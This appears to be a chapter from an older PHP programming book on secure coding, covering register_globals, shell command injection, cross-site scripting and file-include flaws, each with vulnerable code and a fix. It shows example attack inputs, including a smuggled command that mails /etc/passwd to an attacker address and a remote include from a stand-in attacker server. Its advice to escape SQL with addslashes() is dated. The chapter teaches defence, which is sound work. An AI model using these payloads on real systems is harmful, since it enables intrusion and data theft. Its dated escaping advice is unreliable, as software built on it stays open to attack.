Ïðèãëàøàåì ïîñåòèòü
×àðóøèí (charushin.lit-info.ru)

Secure Programming

Table of Contents
Previous Next

Secure Programming

Secure programming is not so much about what we do, as about what we don't do. PHP was designed to make it easy for use as a web programming language. Some of the features introduced to make it easier for the programmer can also, when used without checks, make the programs created insecure.

More recently, the PHP development team are beginning to disable some of the features by default and will require a more security conscious programming style. There are several major areas where people often make mistakes when it comes to programming securely. We will look at these and also see how to avoid them and make sure we do not create applications with security flaws in it.

register_globals Insecurities

One of the most useful and perhaps dangerous features of PHP is the fact that variables don't have to be explicitly declared; you can just start using them. This is a very popular feature of PHP but combined with the register_globals setting can create a security problem in your application.

Consider the following short script. It accepts a username and password from a web form. It then authenticates the user and finally allows them access to a special HTML page if they are authenticated:

    <?php
    if (isset($user)) {
        if ($user == "admin") {
            if ($pass == "password") {
                $loggedin = 1;
            }
        }
    }

    if ($loggedin == 1) {
        include("secretpage.html");
        exit;
    }
    ?>

    <html>
      <head>
        <title>Login</title>
      </head>
      <body>
        <form method="get" action="<?php echo($PHP_SELF) ?>">
          <input type="test" name="user">
          <input type="password" name="pass">
          <input type="submit" value="Login">
        </form>
      </body>
    </html>

Now this little script may look fine to the untrained eye but there is a huge security hole in it. Normally when someone is trying to log in their request, it would be in the form http://www.yourdomain.com/test.php?user=admin&pass=password. In this case $loggedin would get set to 1 and we would include secretpage.html.

The problem here comes from the fact that users are not limited to only submitting the user and pass values; they can append anything they want to that query a string. An example of this is http://www.yourdomain.com/test.php?loggedin=1. Now if someone requests a page like that, then the statement if ($loggedin == 1) evaluates to true and we include our secret page without logging in at all.

There are several lessons to be learned from this. Although register_globals is a nice feature and makes it easy to program for PHP quickly, it is insecure. There are two ways around this:

  • Turn register_globals off and use the $HTTP_*_VARS associative arrays instead.

  • Make sure you explicitly initialize all variables. So for this script, assigning $loggedin = 0; at the top would solve the problem. The drawback of initializing every variable is if we have a couple of thousand lines of code, it becomes very difficult to ensure every path through the code is not susceptible to attack.

We cannot stress how important it is to use the $HTTP_*_VARS arrays rather than rely on register_globals. Nearly every attack that occurs on PHP scripts is by exploiting this function.

Important 

From PHP 4.2.0 onwards the PHP development team has taken the decision to disable this feature by default. It will still be available but it will require you to turn it on in the php.ini file.

When programming in PHP if you only remember one thing, it must be this – turn register_globals off or make sure to initialize all of the variables. By doing this, you will stop 90% of attacks from being possible.

Important 

Shaun Clowes highlights eight different types of attacks that can occur mainly due to this lack of initialization and register_globals. His white paper A Study in Scarlet- Exploiting Common Vulnerabilities in PHP Applications is available from http://www.securereality.com.au/studyinscarlet.txt. If you look through that document and ask yourself how many of these could occur if register_globals is off? The answer is none of them.

Due to complaints about having to type $HTTP_POST_VARS all of the time the PHP development team have added aliases to each of these arrays called $_POST, $_GET, $_COOKIE, and $_ENV.

You can also very quickly port existing scripts to an environment where register_globals is off by explicitly registering the variables you want registered in the global namespace. For the script above we would add two extra lines at the top:

    $user = $_GET["user"];
    $pass = $_GET["pass"];

Trusting User Input

Another common mistake is trusting user input. A rather outlandish example is the following:

    <?php
    if (isset($_GET["filetype"]))
        exec("ls *.".$_GET["filetype"]);
    ?>

    <html>
      <body>
        <form method="get">
          Search Directory for files of type:
          <input type="text" name="filetype">
          <input type="submit">
        </form>
      </body>
    </html>

Now this may not seem the brightest thing but it may also not seem that terrible. The problem here is that no checking is done on the user input. Imagine what would happen if we were to set filetype in the form to "html; cat /etc/passwd | mail hacker@theirdomain.com"? We would first execute ls *.html as expected, and then execute cat /etc/passwd | mail hacker@theirdomain.com, thus e-mailing your /etc/passwd file to their e-mail address. Running the input through the escapeshellarg() function first can solve this problem. The code below shows this modification:

    <?php
    if (isset($_GET["filetype"]))
        exec("ls *." . escapeshellarg($_GET["filetype"]));
    ?>

    <html>
      <body>
        <form method="get">
          Search Directory for files of type:
          <input type="text" name="filetype">
          <input type="submit">
        </form>
      </body>
    </html>

Using user input to create exec() statements is not the only place to be extra careful. Another place is when combining user input into SQL statements where similar attacks can occur. Take special care to escape SQL control characters using addslashes() and related functions.

Cross-Site Scripting Vulnerabilities

When creating a bulletin board or something similar, where we display back any user input (it could even be a login where we echo back "Hello $username") we need look at cross-site scripting vulnerabilities. A cross-site scripting vulnerability is where the user can insert arbitrary HTML tags and code into a page via their input. Imagine the following little snippet of code:

    <?php
    if ($_GET['name'])
        echo("Hello " . $_GET['name']);
    ?>

If we were to call this script with the query string ?name=<script>Malicious Code</script> we could insert any code we wanted. We could also include form, applet, object, and embed tags causing other things to be inserted into the code maliciously. PHP provides various functions to help avoid this vulnerability from affecting your scripts. To output any of the user input, ensure it is safe by using the function htmlspecialchars(). The following code is an altered version of the above, making it safe from cross-site scripting vulnerabilities:


    <?php
    if ($_GET['name'])
        echo("Hello " . htmlspecialchars($_GET['name']));
    ?>

Include Pitfalls

A common mistake many new programmers make is to have a template file which defines a common header and footer for a web site, and another file which provides the content for the page. This is included in the template by passing this page name via the URL. For example:

    <html>
      <head>
        <title>My site</title>
      </head>
      <body>
        <b>Welcome to my site</b><br />
        <?php include($page); ?>
      </body>
    </html>

We then provide links pointing to script.php?page=main.html, and so on. This is a very dangerous thing to do as this technique is open to several attacks.

If allow_url_fopen is on in the php.ini file, it allows an attack to execute arbitrary PHP code on the server by calling script.php with the query string ?page=http://www.attackerssever.com/code.txt. PHP would then request a copy of code.txt from the attacker's server and include and execute it. This is one of the main reasons why allow_url_fopen should be set to off unless really needed. Another attack with this script is to set the $page variable to /etc/passwd which would cause the /etc/passwd file to be sent to the attacker. The best way to protect against this is not to do it. If you do want to do something similar give each page on the site a number, and create an array with the filename of the page as the value in the array at this index and include $pages[$index] as shown below:

    <?php
          $pages = array(1 => "main.html", 2 => "news.html");
          if(($index < 1) or ($index > 2))
                $index = 1;
    ?>
    <html>
      <head>
        <title>My site</title.>
      </head>
      <body>
        <B>Welcome to my site</b><br />
        <?php include $pages[$index]; ?>
    </body>
   </html>

This script should be called with the query string ?index=1 to access main.html or ?index=2 to access news.html.


Table of Contents
Previous Next